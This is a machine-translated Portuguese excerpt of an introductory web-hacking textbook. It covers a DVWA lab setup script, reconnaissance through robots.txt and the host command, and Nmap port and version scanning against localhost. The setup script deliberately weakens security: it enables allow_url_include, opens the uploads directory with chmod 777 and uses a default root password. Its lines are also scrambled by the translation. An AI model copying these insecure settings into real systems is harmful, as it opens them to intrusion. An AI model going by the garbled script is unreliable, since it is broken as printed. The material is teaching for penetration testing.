02 The Basics of Web Hacking

Prévia do material em texto

<p>Machine Translated by Google</p><p>Josh Pauli</p><p>Ferramentas e técnicas para atacar a web</p><p>Os princípios básicos do hacking na Web</p><p>Scott White, editor técnico</p><p>Machine Translated by Google</p><p>Agradecimentos</p><p>Biografia</p><p>Prefácio</p><p>Introdução</p><p>Folha de rosto</p><p>Dedicação</p><p>direito autoral</p><p>Imagem de capa</p><p>Índice</p><p>Família e amigos</p><p>Scott White – Revisor Técnico</p><p>Equipe Syngress</p><p>Uma abordagem prática</p><p>Bebê pássaro</p><p>Comunidade de Segurança</p><p>Lagarto</p><p>Mel Urso</p><p>Meus vícios</p><p>Sobre este livro</p><p>O que há neste livro?</p><p>Machine Translated by Google</p><p>Capítulo 3. Reconhecimento e verificação de aplicativos da Web</p><p>Capítulo 4. Exploração de aplicações web com injeção</p><p>Capítulo 2. Hacking de Servidor Web</p><p>Capítulo 1. Noções básicas de hacking na Web</p><p>Vulnerabilidades Web mais comuns</p><p>Mantendo o acesso</p><p>Resumo do capítulo:</p><p>Configurando um ambiente de teste</p><p>Introdução</p><p>Resumo do capítulo:</p><p>O que é um aplicativo da Web?</p><p>Resumo do capítulo:</p><p>Introdução</p><p>O que você precisa saber sobre servidores web</p><p>Introdução</p><p>Reconhecimento de aplicativos da Web</p><p>O que você precisa saber sobre HTTP</p><p>Reconhecimento</p><p>Verificação de aplicativos da Web</p><p>Os princípios básicos do hacking na Web: nossa abordagem</p><p>Varredura de porta</p><p>Os aplicativos da Web afetam todas as partes da TI</p><p>Verificação de vulnerabilidades</p><p>Resumo do capítulo:</p><p>Uma isenção de responsabilidade rápida</p><p>Metodologias Existentes</p><p>Exploração</p><p>Introdução</p><p>Machine Translated by Google</p><p>Capítulo 7. Correções</p><p>Capítulo 5. Exploração de aplicativos da Web com autenticação quebrada e passagem de caminho</p><p>Capítulo 6. Hacking de usuários da Web</p><p>Ataques de injeção SQL</p><p>Vulnerabilidades de passagem de caminho</p><p>Sqlmap</p><p>Ataques de autenticação de força bruta</p><p>Vulnerabilidades técnicas de engenharia social</p><p>Reconhecimento de usuário da web</p><p>Vulnerabilidades de injeção de comando do sistema operacional</p><p>Ataques de sessão</p><p>Verificação de usuários da Web</p><p>Ataques de injeção de comando do sistema operacional</p><p>Ataques de travessia de caminho</p><p>Exploração de usuários da web</p><p>Conchas da Web</p><p>Ataques de script entre sites (XSS)</p><p>Resumo do capítulo:</p><p>Ataques XSS refletidos</p><p>Resumo do capítulo:</p><p>Introdução</p><p>Ataques XSS armazenados</p><p>Introdução</p><p>Vulnerabilidades de script entre sites (XSS)</p><p>Ataques de falsificação de solicitação entre sites (CSRF)</p><p>Vulnerabilidades de injeção SQL</p><p>Vulnerabilidades de autenticação e sessão</p><p>Vulnerabilidades de falsificação de solicitação entre sites (CSRF)</p><p>Estruturas de ataque de usuário</p><p>Machine Translated by Google</p><p>Índice</p><p>Capítulo 8. Próximas etapas</p><p>Correções de usuários da web</p><p>Resumo do capítulo:</p><p>Introdução</p><p>Grupos e eventos comunitários de segurança</p><p>Correções de servidor web</p><p>Correções de aplicativos da Web</p><p>Introdução</p><p>Resumo do capítulo:</p><p>Educação formal</p><p>Certificações</p><p>Livros Adicionais</p><p>Machine Translated by Google</p><p>Syngress é uma marca da Elsevier</p><p>225 Wyman Street, Waltham, MA 02451, EUA</p><p>Copyright © 2013 Elsevier, Inc. Todos os direitos reservados.</p><p>O conhecimento e as melhores práticas neste domínio estão em constante mudança. À</p><p>medida que novas pesquisas e experiências ampliam nossa compreensão, mudanças</p><p>nos métodos de pesquisa ou nas práticas profissionais podem se tornar necessárias. Os</p><p>profissionais e investigadores devem sempre confiar na sua própria experiência e</p><p>conhecimento na avaliação e utilização de quaisquer informações ou métodos aqui descritos.</p><p>Ao utilizar tais informações ou métodos, devem estar atentos à sua própria segurança e à</p><p>segurança dos outros, incluindo das pessoas pelas quais têm responsabilidade</p><p>profissional.</p><p>Gerente de Projeto: Priya Kumaraguruparan</p><p>Designer: Mark Rogers</p><p>Gerente de Projeto Editorial: Benjamin Rearick</p><p>Editor de aquisição: Chris Katsaropoulos</p><p>Este livro e as contribuições individuais nele contidas são protegidas por direitos autorais pela Editora</p><p>(exceto conforme indicado aqui).</p><p>Em toda a extensão da lei, nem a Editora nem os autores, colaboradores ou editores</p><p>assumem qualquer responsabilidade por qualquer lesão e/ou dano ao</p><p>Nenhuma parte desta publicação pode ser reproduzida ou transmitida de qualquer forma ou por</p><p>qualquer meio, eletrônico ou mecânico, incluindo fotocópia, gravação ou qualquer sistema de</p><p>armazenamento e recuperação de informações, sem permissão por escrito do editor. Detalhes sobre</p><p>como solicitar permissão, mais informações sobre as políticas de permissões do Editor e nossos</p><p>acordos com organizações como o Copyright Clearance Center e a Copyright Licensing Agency</p><p>podem ser encontrados em nosso website: www.elsevier.com/permissions.</p><p>Avisos</p><p>direito autoral</p><p>Machine Translated by Google</p><p>ISBN 978-0-12-416600-4 1.</p><p>Sites – Medidas de segurança. 2. Aplicações Web – Medidas de segurança. 3. Redes de computadores –</p><p>Medidas de segurança. 4. Testes de penetração (segurança informática). 5. Hackers informáticos. 6. Crimes</p><p>informáticos – Prevenção. I. Título.</p><p>TK5105.59.P385 2013</p><p>005.8–dc23</p><p>2013017240</p><p>Dados de Catalogação na Publicação da Biblioteca</p><p>Britânica Um registro de catálogo para este livro está disponível na Biblioteca Britânica.</p><p>ISBN: 978-0-12-416600-4</p><p>Pauli, Josué J.</p><p>Os princípios básicos do hacking na web: ferramentas e técnicas para atacar a web / Josh Pauli. páginas</p><p>cm Inclui</p><p>referências bibliográficas e índice.</p><p>Dados de catalogação na publicação da Biblioteca do Congresso</p><p>pessoas ou propriedades por causa de responsabilidade de produtos, negligência ou de outra forma,</p><p>ou de qualquer uso ou operação de quaisquer métodos, produtos, instruções ou ideias contidas no</p><p>material aqui contido.</p><p>Para obter informações sobre todas as publicações da Syngress, visite nosso website em www.syngress.com.</p><p>Impresso nos Estados Unidos da América 13 14 15</p><p>10 9 8 7 6 5 4 3 2 1</p><p>Machine Translated by Google</p><p>http://www.syngress.com</p><p>Este livro é dedicado à minha adorável esposa, Samantha, e às minhas duas</p><p>filhas maravilhosas, Liz e Maddie. Eu amo muito todos vocês.</p><p>Dedicação</p><p>Machine Translated by Google</p><p>Passarinho</p><p>Para minha filha mais nova, Maddie: Seu sorriso e sua natureza brincalhona sempre me emocionam e</p><p>me fazem perceber o quão bom é isso que temos. Se quatro cirurgias de coração aberto não vão te</p><p>atrasar, que desculpa mais alguém tem? Continue sorrindo, brincando e sendo você mesmo – estaremos</p><p>todos melhor assim!</p><p>Lagarto</p><p>Honey Bear Para</p><p>minha esposa, Samantha: Já percorremos um longo caminho desde que éramos adolescentes</p><p>assustados esperando um bebê! Seu apoio, não importa os projetos que eu assumo, sua compreensão,</p><p>não importa o quanto eu reclame, e sua compostura, não importa o que aconteça com nossa família,</p><p>são lendários e têm mantido nossa família seguindo em frente.</p><p>Comunidade de Segurança</p><p>Agradecimentos</p><p>E uma nota especial para o Dr. Patrick Engebretson, um grande amigo e colega, com quem</p><p>compartilhei muitas cervejas, guloseimas fritas, histórias, passeios de carro e visitas ao consultório.</p><p>Sua assistência neste processo de publicação foi de grande ajuda. Trabalhe, garotão!</p><p>Por último, aos meus pais, Dr. Wayne e Dra. Crystal Pauli: Parece que nesses anos</p><p>Família e amigos Muito</p><p>obrigado a Merm, Tara, Halverto, Stacy & Steph, Luke & Tracy, David, Dr. B, Cron,</p><p>ls para verificar se o script está no diretório raiz .</p><p>5. Feche o gedit e o Firefox.</p><p>Figura 1.3.</p><p>FIGURA 1.2 Salvando o script de instalação DVWA no diretório raiz.</p><p>Machine Translated by Google</p><p>3. Clique em Permitir 127.0.0.1 para que os scripts possam ser executados em nosso servidor web local.</p><p>4. Clique no link Configuração em DVWA.</p><p>2. Clique no botão de opções no canto inferior direito do Firefox se for questionado sobre um script potencialmente</p><p>malicioso. Lembre-se de que o DVWA é propositalmente vulnerável, por isso precisamos permitir a</p><p>execução de scripts.</p><p>Um alerta</p><p>A URL é 127.0.0.1 (este élocalhost; o servidor web rodando diretamente no BackTrack).</p><p>5. Clique no botão Criar/Configurar Banco de Dados para criar o banco de dados inicial a ser usado em nossos</p><p>exercícios, conforme mostrado na Figura 1.4.</p><p>6. Clique no link DVWA Security em DVWA e escolha low na lista suspensa, conforme mostrado na Figura 1.5.</p><p>FIGURA 1.3 Fazendo login no DVWA como administrador de aplicativo.</p><p>FIGURA 1.4 Confirmação de que a configuração inicial do banco de dados foi concluída com sucesso.</p><p>Machine Translated by Google</p><p>Script de instalação DVWA</p><p>Agora você está pronto para usar ferramentas de hacking no BackTrack para atacar o aplicativo DVWA we. Você</p><p>pode revisitar qualquer uma dessas etapas para confirmar se seu ambiente está configurado corretamente. Não é</p><p>necessário desligar a VM sempre que quiser fazer uma pausa.</p><p>7. Clique no botão enviar para criar essas configurações de dificuldade iniciais a serem usadas em nossos</p><p>exercícios. Se os exercícios forem muito fáceis para você, fique à vontade para selecionar um nível de</p><p>dificuldade mais avançado!</p><p>Em vez disso, você pode suspender a VM, para que o estado do seu trabalho permaneça intacto. Se você optar por</p><p>desligar a VM para conservar os recursos do sistema (ou por qualquer outro motivo), poderá facilmente seguir as</p><p>etapas acima para preparar sua VM. Provavelmente vale a pena notar que você não está executando um aplicativo</p><p>da web intencionalmente vulnerável e explorável em sua máquina BackTrack. Portanto, provavelmente não é uma boa</p><p>ideia usar esta máquina enquanto estiver conectado à Internet, onde outros poderiam atacá-lo!</p><p>FIGURA 1.5 Confirmação de que a configuração de dificuldade inicial foi concluída com êxito.</p><p>#/bin/bash echo</p><p>-e "\n####################################### " echo -e "# Maldito script de instalação</p><p>de aplicativo da Web vulnerável #" echo -e "################################ #######" echo</p><p>" Codificado por: Travis Phillips" echo " Site: http://theunl33t.blogspot.com" echo -e -n "\n[*]</p><p>Alterando o diretório para /var/www..." cd /var/www > /dev/</p><p>null echo -e "Concluído!\n" echo -n "[*] Removendo o padrão index.html..." rm</p><p>index.html > /dev/null echo -e "Concluído!\n" echo -n "[*] Alterando para diretório temporário..."</p><p>cd /tmp echo -e "Concluído!\ n" echo "[*]</p><p>Baixando DVWA..." wget http://</p><p>dvwa.googlecode.com/files/DVWA-1.0.7.zip echo -e "Concluído!\n" echo -n "[*]</p><p>Descompactando DVWA..." unzip</p><p>DVWA-1.0.7.zip > /dev/null</p><p>echo -e "Concluído!\n" echo -n "[* ] Excluindo o arquivo zip..." rm DVWA-1.0.7.zip</p><p>> /dev/null</p><p>Machine Translated by Google</p><p>http://theunl33t.blogspot.com</p><p>http://dvwa.googlecode.com/files/DVWA-1.0.7.zip</p><p>Sobre/'</p><p>rm -R dvwa > /dev/null</p><p>echo -e "Concluído!\n"</p><p>/var/www/config/config.inc.php1 sed</p><p>echo -e "Concluído!\n"</p><p>echo -n "[*] Atualizando banco de dados..."</p><p>"/hackable/users/gordonb.jpg" onde usuário = "gordonb";'</p><p>mysql -u root --password='toor' -e 'atualizar dvwa.users set avatar =</p><p>mysql -u root --password='toor' -e 'atualizar dvwa.users set avatar =</p><p>echo -e "Concluído!\n"</p><p>echo -e "Concluído!\n"</p><p>echo -n "[*] Habilitando permissões de gravação para /var/www/hackable/upload..."</p><p>echo -n "[*] Atualizando arquivo de configuração..."</p><p>'s/'\'\''/'\''toor'\''/' /var/www/config/config.inc.php-e</p><p>"create_db=Criar http://127.0.0.1/</p><p>setup.php&> /dev/null</p><p>echo -n "[*] Iniciando MySQL..."</p><p>=</p><p>--dados de postagem Reiniciar</p><p>"/hackable/users/admin.jpg" onde usuário = "admin";'</p><p>mysql -u root --password='toor' -e 'atualizar dvwa.users set avatar =</p><p>echo -e -n "[*] Iniciando o Firefox em DVWA\nNome de usuário: admin\nSenha: senha"</p><p>echo -e "Concluído!\n"</p><p>echo -n "[*] Habilitando inclusão remota no php.ini..."</p><p>serviço apache2 iniciar &> /dev/null</p><p>-e 's/allow_url_include Desativado/allow_url_include sed</p><p>wget</p><p>"/hackable/users/smithy.jpg" onde usuário = "smithy";'</p><p>firefox http://127.0.0.1/login.php &> /dev/nulo &</p><p>echo -e "[\033[1;32m*\033[1;37m] Instalação DVWA concluída!\n"</p><p>echo -n "[*] Limpando diretório temporário..."</p><p>chmod 777 /var/www/hackable/uploads/</p><p>cp /var/www/config/config.inc.php /var/www/config/config.inc.php1</p><p>rm /var/www/config/config.inc.php1</p><p>Base de dados"</p><p>mysql -u root --password='toor' -e 'atualizar dvwa.users set avatar =</p><p>"/hackable/users/pablo.jpg" onde usuário = "pablo";'</p><p>"/hackable/users/1337.jpg" onde usuário = "1337";'</p><p>cp -R dvwa/* /var/www > /dev/null</p><p>rm /etc/php5/apache2/php.ini1 echo -e "Concluído!\n"</p><p>echo -e "Concluído!\n"</p><p>></p><p>echo -n "[*] Copiando dvwa para a raiz do diretório da Web..."</p><p>/etc/php5/apache2/php.ini1 > /etc/php5/apache2/php.ini</p><p>serviço mysql start &> /dev/null</p><p>cp /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini1</p><p>echo -e "Concluído!\n"</p><p>=</p><p>/</p><p>mysql -u root --password='toor' -e 'atualizar dvwa.users set avatar =</p><p>echo -e "\nConcluído!\n"</p><p>echo -e "Concluído!\n"</p><p>echo -n "[*] Iniciando serviço da Web..."</p><p>Machine Translated by Google</p><p>http://127.0.0.1/login.php</p><p>Hacking de servidor web</p><p>CAPÍTULO 2</p><p>Machine Translated by Google</p><p>Existem vários livros e recursos excelentes dedicados a essas ferramentas, mas as coisas assumem um formato</p><p>um pouco diferente quando visamos especificamente o servidor web.</p><p>O hacking de rede tradicional segue uma metodologia muito sistemática na qual este livro se baseia. Realizaremos</p><p>reconhecimento, verificação de portas, verificação de vulnerabilidades e exploração enquanto direcionamos o</p><p>servidor web como o serviço de rede sob ataque.</p><p>Faremos uma inspeção manual do arquivo robots.txt no servidor web para entender quais diretórios o</p><p>proprietário não deseja que sejam incluídos nos resultados do mecanismo de pesquisa. Este é um roteiro</p><p>potencial a ser seguido para informações confidenciais dentro do servidor web – e podemos fazer isso no conforto</p><p>do nosso próprio navegador! Também usaremos algumas ferramentas específicas dedicadas ao hacking de</p><p>servidores web, como o Nikto, para verificação de vulnerabilidades de servidores web. Junte tudo isso às</p><p>ferramentas e técnicas maduras de hacking de rede tradicional e teremos uma ótima abordagem para hackear o</p><p>servidor web.</p><p>Durante o estágio de reconhecimento (também conhecido como reconhecimento ou coleta de informações), você</p><p>coleta o máximo possível de informações sobre o alvo, como seu endereço IP; a topologia da rede; dispositivos na</p><p>rede; tecnologias em uso; versões de pacotes; e mais. Embora muitas ferramentas possam estar envolvidas no</p><p>reconhecimento, focaremos primeiro no uso do host e do Netcraft para recuperar o endereço IP do servidor</p><p>(endereço numérico exclusivo)</p><p>e inspecionar seu arquivo robots.txt para obter informações adicionais sobre o</p><p>ambiente de destino.</p><p>Para a maioria das pessoas, esta é a primeira área de hacking em que se aprofundam, pois inclui as ferramentas</p><p>mais conhecidas e foi amplamente divulgada na mídia. Basta conferir os filmes que fazem uso de algumas das</p><p>ferramentas deste capítulo!</p><p>Obviamente, hackear redes não é a ênfase deste livro, mas existem certas ferramentas e técnicas que todo</p><p>profissional de segurança deveria conhecer. Eles são apresentados neste capítulo à medida que temos como alvo o</p><p>servidor web que hospeda o aplicativo web. O hacking de rede faz uso de algumas das ferramentas de hacking mais</p><p>populares do mundo atualmente: belezas como Nmap, Nesses e Metasploit são ferramentas em praticamente todas</p><p>as caixas de ferramentas de segurança. Para se posicionar para adotar técnicas de hacking mais avançadas, você</p><p>deve primeiro dominar o uso dessas ferramentas seminais. Este é o clássico cenário “ande antes de correr”!</p><p>O hacking de servidores Web faz parte de um universo maior conhecido casualmente como “hackeamento de rede”.</p><p>ÿ Recon facilitado com host e robots.txt ÿ Varredura</p><p>de portas com Nmap: conhecendo o scanner de portas número 1 do mundo ÿ Varredura de</p><p>vulnerabilidades com Nessus e Nikto: encontrando patches ausentes e muito mais ÿ Exploração com</p><p>Metasploit: um guia passo a passo para estourar caixas</p><p>O Recon é amplamente considerado o aspecto mais importante de um ataque baseado em rede.</p><p>Vamos cavar!</p><p>Introdução</p><p>Resumo do capítulo:</p><p>Reconhecimento</p><p>Machine Translated by Google</p><p>Este comando retorna os resultados a seguir, que incluem o endereço IP externo do domínio da Dakota State</p><p>University (dsu.edu) como a primeira entrada. A outra entrada refere-se a serviços de e-mail e deve ser arquivada</p><p>para uso posterior.</p><p>Você também pode recuperar o endereço IP pesquisando por URL em http://news.netcraft.com/.</p><p>Aprendendo sobre o servidor Web Nosso alvo é o servidor Web</p><p>porque ele foi projetado para ser acessado de fora da rede. Seu principal objetivo é hospedar aplicações web que possam ser</p><p>acessadas por usuários fora da rede interna. Como tal, torna-se a nossa janela para a rede. Primeiro, precisamos encontrar o endereço</p><p>IP externo do servidor web para que possamos investigá-lo. Geralmente começaremos com o URL do aplicativo Web de destino, como</p><p>http:// syngress.com, que depois converteremos em um endereço IP. Um URL geralmente está em formato de texto que é facilmente</p><p>lembrado pelo usuário, enquanto um endereço IP é um endereço numérico exclusivo do servidor web. As ferramentas de hacking de</p><p>rede geralmente usam o endereço IP do servidor web, embora você também possa usar o nome do host e seu computador realizará</p><p>a pesquisa automaticamente em segundo plano. Para converter o URL em um endereço IP, use o comando host em um terminal</p><p>BackTrack. anfitrião syngress.com</p><p>Embora o reconhecimento possa consumir muito tempo, ele constitui a base de quase todos os ataques de rede</p><p>bem-sucedidos, portanto, não tenha pressa. Ao coletar informações, certifique-se de registrar tudo. Ao executar</p><p>suas ferramentas, salve a saída bruta e você terá uma coleção impressionante de URLs, endereços IP, endereços</p><p>de e-mail e outras informações dignas de nota. Se você estiver conduzindo um teste de penetração profissional,</p><p>é sempre uma boa ideia salvar esse resultado bruto, pois muitas vezes você precisará incluí-lo no relatório final</p><p>para seu cliente.</p><p>Um navegador da web é capaz de processar endereços IP e URLs para recuperar a página inicial de um aplicativo</p><p>da web hospedado em um servidor da web. Portanto, para ter certeza de que encontrou o endereço IP correto do</p><p>servidor web, insira o endereço IP diretamente em um navegador para ver se você atinge o alvo, conforme</p><p>mostrado na Figura 2.1.</p><p>Um</p><p>alerta Simplesmente solicitar o endereço IP na barra de endereços URL não é aplicável em um</p><p>ambiente de servidor compartilhado, o que é bastante difundido atualmente. Isso significa que</p><p>vários sites são hospedados em um endereço IP em um ambiente virtual para conservar espaço e</p><p>recursos do servidor web. Como alternativa, você pode usar um serviço online como http://</p><p>sharingmyip.com/ para encontrar todos os domínios que compartilham um endereço IP especificado</p><p>para garantir que o servidor web esteja hospedando o alvo pretendido antes de continuar. Muitos</p><p>ambientes de hospedagem compartilhada exigem acordos assinados antes que qualquer teste de</p><p>segurança possa ser realizado.</p><p>O correio dsu.edu é gerenciado por 10 dsu-mm01.dsu.edu.</p><p>dsu.edu tem endereço 138.247.64.140</p><p>Machine Translated by Google</p><p>http://news.netcraft.com/</p><p>O arquivo Robots.Txt</p><p>FIGURA 2.1 Usando um endereço IP para atingir o destino.</p><p>Uma maneira de começar a entender o que está sendo executado em um servidor web é visualizar o arquivo</p><p>robots.txt do servidor. O arquivo robots.txt é uma lista de diretórios e arquivos em um servidor web que o</p><p>proprietário deseja que os rastreadores da web omitam do processo de indexação. Um rastreador da web é</p><p>um software usado para catalogar informações da web para serem usadas em mecanismos de pesquisa e</p><p>arquivos que são comumente implantados por mecanismos de pesquisa como Google e Yahoo. Esses</p><p>rastreadores da Web vasculham a Internet e indexam (arquivam) todas as descobertas possíveis para</p><p>melhorar a precisão e a velocidade de sua funcionalidade de pesquisa na Internet.</p><p>conduzido contra o meio ambiente.</p><p>Para um hacker, o arquivo robots.txt é um roteiro para identificar informações confidenciais porque o</p><p>arquivo robots.txt de qualquer servidor web pode ser recuperado em um navegador simplesmente solicitando-</p><p>o no URL. Aqui está um arquivo robots.txt de exemplo que você pode recuperar facilmente diretamente em</p><p>seu navegador, simplesmente solicitando /robots.txt após um URL de host.</p><p>Agente do usuário:</p><p># Diretórios não</p><p>permitidos: /modules/ Não</p><p>permitido: /profiles/ Não permitido: /</p><p>scripts/ Não permitido: /themes/ #</p><p>Arquivos não permitidos: /</p><p>CHANGELOG.txt Não permitido: /cron.php</p><p>Não permitido: /INSTALL.mysql.txt</p><p>Não permitido: /INSTALL.pgsql.txt Proibir: /</p><p>install.php Proibir: /INSTALL.txt Proibir: /LICENSE.txt</p><p>Proibir: /MAINTAINERS.txt Proibir: /</p><p>update.php Proibir: /UPGRADE.txt</p><p>Proibir: /xmlrpc.php # Caminhos (URLs</p><p>limpos)</p><p>*</p><p>Proibir: /admin/</p><p>Machine Translated by Google</p><p>URLs limpos são caminhos de URL absolutos que você pode copiar e colar em seu navegador. Caminhos sem URLs</p><p>limpos usam um parâmetro,q neste exemplo, para impulsionar a funcionalidade da página. Você deve ter ouvido isso</p><p>ser chamado de página do construtor, onde uma página é usada para recuperar dados com base apenas nos</p><p>parâmetros de URL que foram passados. Diretórios e arquivos são diretos e autoexplicativos.</p><p>Cada servidor web deve ter um arquivo robots.txt em seu diretório raiz, caso contrário, os rastreadores da web</p><p>podem indexar o site inteiro, incluindo bancos de dados,</p><p>arquivos e tudo mais! Esses são itens que nenhum</p><p>administrador de servidor web deseja como parte de sua próxima pesquisa no Google. O diretório raiz de um servidor</p><p>web é o diretório físico real no computador host onde o software do servidor web está instalado. No Windows, o diretório</p><p>raiz geralmente é C:/inetpub/wwwroot/, e no Linux geralmente é uma variante próxima de /var/ www/.</p><p>4. Caminhos (sem URLs limpos)</p><p>Proibir: /?q=admin/ Proibir: /?</p><p>q=logout/ Proibir: /?q=node/add/</p><p>Proibir: /?q=search/ Proibir: /?</p><p>q=usuário/senha/ Proibir: /?q=</p><p>user/register/ Disallow: /?q=user/login/</p><p>Este arquivo robots.txt é dividido em quatro</p><p>seções diferentes: 1. Diretórios 2.</p><p>Arquivos 3. Caminhos (URLs limpos)</p><p>Não há nada que o impeça de criar seu próprio rastreador da web que forneça a funcionalidade completamente</p><p>oposta. Essa ferramenta, se você desejar, solicitaria e recuperaria apenas itens que aparecem no robots.txt e</p><p>economizaria um tempo substancial se você estivesse realizando reconhecimento em vários servidores da web. Caso</p><p>contrário, você poderá solicitar e revisar manualmente cada arquivo robots.txt no navegador. O arquivo robots.txt é um</p><p>obstáculo completo para rastreadores automatizados da web, mas nem mesmo um obstáculo para hackers humanos</p><p>que desejam revisar essas informações confidenciais.</p><p>Varredura de portas A</p><p>varredura de portas é simplesmente o processo de identificar quais portas estão abertas em um computador de destino.</p><p>Além disso, descobrir quais serviços estão sendo executados nessas portas é um resultado comum desta etapa. As</p><p>portas de um computador são como qualquer abertura que permite a entrada em uma casa, seja a porta da frente, a</p><p>porta lateral ou a porta da garagem. Continuando a analogia da casa, os serviços são o tráfego que utiliza um ponto de</p><p>entrada esperado na casa. Por exemplo, os vendedores usam a porta da frente, os proprietários usam a porta da</p><p>garagem e os amigos usam a porta da frente.</p><p>Proibir: /logout/ Proibir: /node/</p><p>add/ Proibir: /search/ Proibir: /user/</p><p>register/ Proibir: /user/password/</p><p>Proibir: /user/login/ # Caminhos (sem URLs</p><p>limpos)</p><p>Machine Translated by Google</p><p>3. Quais versões desses serviços estão em execução?</p><p>Se conseguirmos obter respostas precisas a estas perguntas, teremos fortalecido a nossa</p><p>base para o ataque.</p><p>Nmap O</p><p>scanner de porta mais utilizado é o Nmap, que está disponível no BackTrack e possui documentação substancial em</p><p>http:// nmap.org. Lançado pela primeira vez por Gordon “Fyodor” Lyon em 1997, o Nmap continua a ganhar impulso</p><p>como o melhor scanner de portas do mundo, com funcionalidade adicional na verificação e exploração de</p><p>vulnerabilidades. O lançamento principal mais recente do Nmap no momento em que este livro foi escrito é a versão</p><p>6 e inclui uma tonelada de funcionalidades dedicadas à varredura de servidores web.</p><p>1. Quais portas estão abertas?</p><p>2. Quais serviços estão sendo executados nessas portas?</p><p>servidor:</p><p>porta lateral. Assim como esperamos que os vendedores usem a porta da frente, também esperamos que certos</p><p>serviços usem determinadas portas em um computador. É padrão que o tráfego HTTP use a porta 80 e o tráfego</p><p>HTTPS use a porta 443. Portanto, se encontrarmos as portas 80 e 443 abertas, podemos ter certeza de que HTTP e</p><p>HTTPS estão em execução e a máquina provavelmente é um servidor we. Nosso objetivo ao fazer a varredura de</p><p>portas é responder a três perguntas sobre a web</p><p>Vamos inspecionar cada uma das partes do comando que você acabou de executar, para que todos entendamos</p><p>o que a verificação está tentando realizar.</p><p>ÿ O –sV designa esta verificação como uma verificação de versão que recuperará versões específicas de</p><p>Executando o Nmap</p><p>Existem vários tipos de varredura no Nmap e switches que adicionam ainda mais funcionalidades. Já sabemos o</p><p>endereço IP do nosso servidor web, então muitas das varreduras no Nmap dedicadas à descoberta de host (encontrar</p><p>um endereço IP de um servidor) podem ser omitidas, pois estamos mais interessados em coletar informações úteis</p><p>sobre as portas, serviços e versões rodando no servidor web. Podemos executar o Nmap em nosso servidor web</p><p>DVWA quando ele estiver rodando no host local (127.0.0.1). Em um terminal, execute o seguinte comando Nmap .</p><p>Atualizando o Nmap</p><p>Antes de começar a usar o Nmap, certifique-se de estar executando a versão mais recente executando o comando</p><p>nmap -V em um terminal. Se você não estiver executando a versão 6 ou superior, será necessário atualizar o Nmap.</p><p>Para realizar o processo de atualização, abra um terminal no BackTrack e execute o comando apt-get upgrade</p><p>nmap . Para ter certeza de que está executando a versão 6 ou superior, você pode usar novamente o comando nmap</p><p>-V após a conclusão da instalação.</p><p>os serviços em execução descobertos.</p><p>ÿ O –O significa que as informações relacionadas ao sistema operacional serão recuperadas, como tipo e versão.</p><p>nmap -sV -O -p- 127.0.0.1</p><p>Machine Translated by Google</p><p>http://nmap.org</p><p>O host está ativo (latência de 0,000096s).</p><p>80/tcp aberto http Apache httpd 2.2.14 ((Ubuntu)) 3306/tcp aberto mysql MySQL</p><p>5.1.41-3ubuntu12.10 7337/tcp aberto postgresql PostgreSQL DB 8.4.0 8080/tcp aberto http-</p><p>proxy Burp Suite Pro proxy http Tipo de dispositivo: uso geral Em execução: Linux 2.6.X|</p><p>3.X OS CPE: cpe:/o:linux:kernel:2.6 cpe:/o:linux:kernel:3 Detalhes do sistema operacional: Linux</p><p>2.6.32 - 3.2</p><p>Não mostrado: 65532 portas fechadas VERSÃO DE SERVIÇO DO ESTADO</p><p>DO PORTO</p><p>Relatório de varredura Nmap para localhost (127.0.0.1)</p><p>Distância da rede: 0 salto Detecção de sistema</p><p>operacional e serviço realizada. Por favor, reporte quaisquer resultados incorretos em</p><p>http://nmap.org/submit/.</p><p>Nmap concluído: 1 endereço IP (1 host ativo) verificado em 9,03 segundos Você pode ver quatro colunas de</p><p>resultados: PORTA, ESTADO, SERVIÇO e VERSÃO. Neste caso, temos quatro linhas de resultados, o que significa que temos quatro serviços em</p><p>execução neste servidor web. É autoexplicativo o que está sendo executado nesta máquina (seus resultados podem variar um pouco dependendo do que</p><p>você está executando em sua VM), mas vamos discutir cada um, para que estejamos todos na mesma página com esses resultados do Nmap . ÿ Há um</p><p>servidor web Apache 2.2.14 em execução na porta 80. ÿ Há um banco de dados MySQL 5.1.41 em execução na porta 3306. ÿ Há um banco de dados</p><p>PostreSQL 8.4 em execução na porta 7175. ÿ Há um proxy da web (Burp Suite ) em execução na porta</p><p>8080.</p><p>Um</p><p>alerta Executar o Nmap no localhost pode ser enganoso, pois as portas que estão escutando na</p><p>máquina podem não estar realmente disponíveis para outra máquina.</p><p>Uma das opções mais úteis do Nmap é a impressão digital do sistema operacional remoto para recuperar</p><p>quais serviços e versões estão no alvo. O Nmap envia uma série de pacotes para o host remoto e compara as</p><p>respostas ao seu banco de dados nmap-os-db de mais de 2.600 impressões digitais conhecidas de sistemas</p><p>operacionais.</p><p>Os resultados da nossa primeira varredura são mostrados abaixo.</p><p>ÿ O -p- significa que iremos verificar todas as</p><p>portas. ÿ 127.0.0.1 é o endereço IP do nosso destino.</p><p>Conhecer os serviços e versões exatos será uma grande informação nas próximas fases de verificação e</p><p>exploração de vulnerabilidades. Há também notas adicionais sobre a versão do kernel, os detalhes de construção</p><p>do sistema operacional e o número de saltos de rede (0 porque verificamos nosso host local).</p><p>Algumas dessas máquinas podem estar na mesma rede local (LAN) ou completamente fora da</p><p>LAN. 127.0.0.1 pertence apenas à máquina local e é o endereço de loopback que cada máquina</p><p>usa para se comunicar consigo mesma. Para obter uma compreensão clara do que é acessível a</p><p>pessoas de fora desta máquina, você realmente precisaria executar a mesma varredura do Nmap</p><p>em duas máquinas diferentes. Você poderia operar um em uma máquina dentro do</p><p>Machine Translated by Google</p><p>http://nmap.org/submit/</p><p>Mecanismo de script Nmap (NSE)</p><p>Você invoca todos os scripts NSE com--script= como parte da sintaxe de varredura do Nmap . Este exemplo</p><p>usa o script http-enum para enumerar diretórios usados por aplicativos e servidores web populares como parte de uma verificação</p><p>de versão. nmap -sV --script=http-enum 127.0.0.1</p><p>Um exemplo de saída deste script executado em uma máquina Windows é mostrado abaixo, onde foram encontrados sete</p><p>diretórios comuns diferentes. Esses diretórios podem ser usados em etapas posteriores em nossa abordagem relacionada a</p><p>ataques de travessia de caminho. Você pode executar este mesmo script NSE no DVWA e verá vários diretórios listados e uma</p><p>instância do MySQ em execução.</p><p>Uma das maneiras pelas quais o Nmap expandiu sua funcionalidade foi a inclusão de scripts para realizar varreduras especializadas.</p><p>Você simplesmente precisa invocar o script e fornecer todos os argumentos necessários para fazer uso dos scripts. O Nmap</p><p>Scripting Engine (NSE) lida com essa funcionalidade e, felizmente para nós, tem vários scripts específicos da web prontos para uso.</p><p>Nosso servidor web DVWA é muito chato, mas é importante perceber o que é capaz ao 